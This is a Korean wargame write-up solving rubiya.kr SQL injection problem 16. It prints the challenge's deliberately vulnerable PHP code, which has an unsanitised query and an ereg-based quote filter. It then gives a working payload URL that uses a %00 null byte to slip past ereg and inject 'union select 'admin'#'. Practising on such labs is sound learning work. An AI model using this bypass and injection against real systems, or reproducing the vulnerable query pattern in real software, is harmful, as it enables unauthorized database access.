webhacking/sql, sql injection

rubiya.kr 16번.

qkqhxla1 2014. 8. 30. 15:04

http://rubiya.kr/sqli/prob16.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/\\\|prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(@
ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob16 where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) solve(); 
  
highlight_file(__FILE__); 
?>


한참을 고민했는데..... 16번과 17번을 보다보니까 문제가 서로 필터링 부분에서 ereg함수와 preg_match


만 다른걸 보고 ereg에 문제가 있나? 하고 php ereg 취약점 이런식으로 찾아본 결과....


관련 자료를 찾을 수 있었습니다.   ereg_취약점


%00의 널값을 주면 더이상 패턴 검사를 안한다고 써있네요.


http://rubiya.kr/sqli/prob16.php?id=%00a%27%20union%20select%20%27admin%27%23


처럼 id=뒤에 %00을 붙여주면 '를 써도 패턴 검사를 못 합니다.

'webhacking > sql, sql injection' 카테고리의 다른 글

webhacking.kr 9번.  (16) 2014.08.31
rubiya.kr 17번.  (0) 2014.08.30
itchy  (0) 2014.08.29
rubiya.kr 14번.  (0) 2014.08.28
rubiya.kr 13번.  (0) 2014.08.28